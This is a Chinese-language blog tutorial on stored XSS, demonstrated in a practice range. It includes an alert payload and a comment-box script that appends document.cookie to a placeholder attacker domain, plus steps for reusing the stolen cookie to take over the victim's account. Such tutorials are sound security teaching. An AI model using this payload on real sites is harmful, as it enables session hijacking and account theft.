Web渗透测试之XSS攻击:存储型XSS_存储型xss攻击实验-程序员宅基地

技术标签: 安全漏洞  XSS  网络安全  

前言

  在了解了反射型XSS相关方面的内容之后,本篇我们将继续深入了解存储型XSS,笔者将通过具体的例子讲解存储型XSS攻击的具体流程与危害。

存储型XSS

  在之前的博客中我们提到过,存储型XSS是被包含在之后的HTTP请求响应中的,并且由于存储型XSS是伴随于留言评论等功能存在的,因此存储型XSS能够跟随留言内容一同被存入服务器,并且可以持续发挥作用。我们先来看一个简单的存储型XSS的例子。

最简单的存储型XSS

  我们先在靶场题目提供的评论栏中写入一个最简单的XSS:< script>alert(1)< /script>:
在评论栏中写入XSS
提交后再次访问该页面发现有弹窗且弹窗内容为1,表明我们写入的XSS已经随评论一起被存进服务器:
提交留言后再次访问该页面
接着查看网页源码:
查看网页源码
可以看到我们写入的XSS已经被嵌入到网页中,之后只要有用户浏览该网页就会触发我们写入的XSS。

利用存储型XSS获得cookie

  原理与上篇反射型XSS中用到的类似,都是借助DNSlog的方式来获得cookie。在评论框写入如下脚本:
< script src=“http://xxx/”+document.cookie>< /script>
  当该脚本成功嵌入网页源码中时就会触发浏览器执行该XSS,而我们只需查看DNS日志即可获得受害用户的cookie,接着抓包后将cookie替换为受害用户的cookie即可登录受害用户的账号。

总结

  与反射型XSS不同,由于存储型XSS可以随评论等一同存入服务器,因此可以被持续触发利用。而在获得cookie这块二者原理大致相当,都是将cookie拼接到受攻击者控制的域名中,然后通过查看DNS日志的方式获得cookie,最后修改请求包中的cookie达到冒充受害用户的目的。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/vodkaDL/article/details/111464862

智能推荐

C#调用opencv-程序员宅基地

文章浏览阅读993次。最经做一个项目,底层调用openCV编写的图像处理程序,用户界面采用C#编写。 于是学习了相关技术,总结如下:C#编写的是托管代码,编译生成微软中间语言,而普通C++代码则编译生成本地机器码,这两种语言不能直接混合编程。常见的方式是:1)将本机C++代码(指非托管C++)编译成一个dll,供C#调用,调用方法为 [DllImport(×××.dll)] 。但是这里只能从 DLL 导出..._c# 引用opencv

虚拟机装12-Mac OS X 10.13_mac os x 10.13 虚拟机固件-程序员宅基地

文章浏览阅读1.4k次。使用Vmware14安装黑苹果系统macos10.13傻瓜教程本来首先是首先想到用hyper-v的,不过看了一圈hyper-v安装黑苹果没有成功的案例,国外论坛给出的回复也是impossible,就放弃了。而VMware和vbox是可以成功安装的,VMware安装比较适合安装,我就选择了VMware。一、工具&材料:1、Vmware 本体,我写文章的时候最新版是14;Vm..._mac os x 10.13 虚拟机固件

【100个 Unity踩坑小知识点】| Unity控制物体持续指向某个方向_unity物体指定方向-程序员宅基地

文章浏览阅读10w+次,点赞30次,收藏80次。Unity 小科普老规矩,先介绍一下 Unity 的科普小知识:Unity是 实时3D互动内容创作和运营平台 。包括游戏开发、美术、建筑、汽车设计、影视在内的所有创作者,借助 Unity 将创意变成现实。Unity 平台提供一整套完善的软件解决方案,可用于创作、运营和变现任何实时互动的2D和3D内容,支持平台包括手机、平板电脑、PC、游戏主机、增强现实和虚拟现实设备。 也可以简单把 Unity 理解为一个游戏引擎,可以用来专业制作游戏!_unity物体指定方向

android intent打开各种格式文档方法_android intent 去打开zip文件-程序员宅基地

文章浏览阅读4k次,点赞4次,收藏6次。我们开发的时候经常碰到打开各种文档,目前的应用处理方式 基本都是依赖于三方软件打开 ,而不是在应用内打开,因为文件格式有很多,倘若都在应用内打开的话,肯定要增加很大的开发时间和开发成本,而且实现效果没有一些三方的app实现的效果好。话不多说,给大_android intent 去打开zip文件

《深入理解Java虚拟机》第六章 类文件结构 — 读书笔记_cc_final, acc_syntheti-程序员宅基地

文章浏览阅读590次。1. 概述计算机只认识0和1,我们编写的程序需要经编译器翻译为由0和1构成的二进制文件才能被计算机执行。伴随着虚拟机和大量建立在虚拟机上程序语言的出现,将程序编译为本地字节码文件已不再是唯一的选择,越来越多的程序语言选择了与操作系统无关的,平台中立的格式作为程序编译后的存储格式。2. 无关性虚拟机提供商发布了许多可以运行在各种不同平台上的虚拟机,这些虚拟机都可以载入和执行同一种平台无关..._cc_final, acc_syntheti

Pandas读取csv文件某一列并保存到txt文件中-程序员宅基地

文章浏览阅读4.7k次,点赞3次,收藏19次。Pandas读取csv文件某一列并保存到txt文件中按道理来说挺简单的,但是却查了好久,本来想利用pandas的api获取某一列的数据,然后写入到文件中,但是写入到文件后出现各种问题,要不程序报错,要不不分行。最后还是按照之前的那样,获取的之后一个个的添加到之前创建好的list中。def save_csv_to_text(filename, csv_name, usecols): '..._python 将csv某列数据读取到txt文本中

随便推点

python界面设计工具-wxFormBuilder_vscode wxformbuilder-程序员宅基地

文章浏览阅读7.8k次,点赞7次,收藏69次。一 wxFormBuilder是什么wxFormBuilder是一款可视化的GUI设计工具,界面设计后可以自动生成代码,免去了手工码gui的繁琐,一套界面可支持生成C++\Python\PHP\Lua\XRC等代码形式,可以极大提升python GUI开发效能。项目发布网址:https://github.com/wxFormBuilder/wxFormBuilder/releases..._vscode wxformbuilder

Ubuntu 彻底删除 MYSQL 然后重装 MYSQL_sudo apt-get remove mysql-common-程序员宅基地

文章浏览阅读268次。删除 mysqlsudo apt-get autoremove --purge mysql-server-5.0sudo apt-get remove mysql-serversudo apt-get autoremove mysql-serversudo apt-get remove mysql-common //这个很重要上面的其实有一些是多余的。清理残_sudo apt-get remove mysql-common

SqlServer查询数据中所有表及所有的字段名和字段属性_sql 所有表 条件查询-程序员宅基地

文章浏览阅读2k次。------sqlserver 查询某个表的列名称、说明、备注、类型等SELECT 表名 = case when a.colorder=1 then d.name else '' end, 表说明 = case when a.colorder=1 then isnull(f.value,'') else '' end, 字段序号 = a.col..._sql 所有表 条件查询

Spark抽取mysql中的数据到Hive中_spark怎么jdbc写入到hive-程序员宅基地

文章浏览阅读5.6k次,点赞5次,收藏81次。提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录思路一、案例介绍二、具体步骤1.编写scala程序完成从mysql讲数据导出成csv文件2.打包成jar包提交到集群上3.将hdfs上的这个文件下载到本地目录下4.将本地数据文件的数据加载到hive中总结思路spark抽取mysql中的数据到hive中,可通过以下2步完成:1.先将mysql中的数据抽取到存放再hdfs上的一个文件(.csv,.txt)2.再讲文件通过load命令加载到hive中下面用具体案例演示一._spark怎么jdbc写入到hive

解决Mysql 主从或主主报1032错误_last_errno: 1032-程序员宅基地

文章浏览阅读8.2k次,点赞2次,收藏7次。1032错误的主要原因是主库更新或者是删除的记录在从库上不存在引起的。处理此种错误一般有两种思路:1、直接跳过错误执行语句2、找到错误执行语句,修复从库数据第一种解决方案会有造成主从不一致的隐患(delete语句可以跳过),第二种是从根本上解决问题比较推荐语句跳过操作方法如下:1032 错误提示如下:Replicate_Wild_Ignore_Table: ..._last_errno: 1032

button按钮居中_button居中-程序员宅基地

文章浏览阅读1.2w次,点赞3次,收藏7次。今天在写页面时,发现给button按钮设置居中时,css页面写了text-align="center",但是不起作用,用了display属性也无作用,试了好多次发现要给button按钮添加个div,然..._button居中